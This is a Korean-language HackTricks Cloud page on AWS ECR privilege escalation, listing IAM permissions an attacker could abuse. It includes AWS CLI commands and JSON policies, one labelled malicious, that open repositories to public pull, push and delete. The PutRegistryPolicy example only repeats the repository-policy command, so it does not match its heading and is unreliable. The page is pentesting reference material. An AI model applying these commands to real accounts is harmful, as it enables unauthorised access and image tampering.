AWS - ECR Privesc
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
ecr:GetAuthorizationToken
및 ecr:BatchGetImage
권한을 가진 공격자는 ECR에 로그인하고 이미지를 다운로드할 수 있습니다.
이미지를 다운로드하는 방법에 대한 자세한 정보는 다음을 참조하십시오:
잠재적 영향: 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
모든 권한을 가진 공격자는 ECR에 로그인하고 이미지를 업로드할 수 있습니다. 이는 해당 이미지가 사용되는 다른 환경으로 권한을 상승시키는 데 유용할 수 있습니다.
새 이미지를 업로드하거나 업데이트하는 방법을 배우려면 다음을 확인하십시오:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
이전 섹션과 유사하지만 공개 리포지토리에 대한 것입니다.
ecr:SetRepositoryPolicy
이 권한을 가진 공격자는 리포지토리 정책을 변경하여 자신(또는 모든 사람)에게 읽기/쓰기 접근을 부여할 수 있습니다.
예를 들어, 이 예에서는 모든 사람에게 읽기 접근이 부여됩니다.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
my-policy.json
의 내용:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
이전 섹션과 유사하지만 공개 리포지토리에 대한 것입니다.
공격자는 ECR Public 리포지토리의 리포지토리 정책을 수정하여 무단 공개 액세스를 허용하거나 자신의 권한을 상승시킬 수 있습니다.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
잠재적 영향: ECR Public 저장소에 대한 무단 공개 접근으로 인해 모든 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있습니다.
ecr:PutRegistryPolicy
이 권한을 가진 공격자는 레지스트리 정책을 변경하여 자신, 자신의 계정(또는 모든 사용자)에게 읽기/쓰기 접근을 부여할 수 있습니다.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.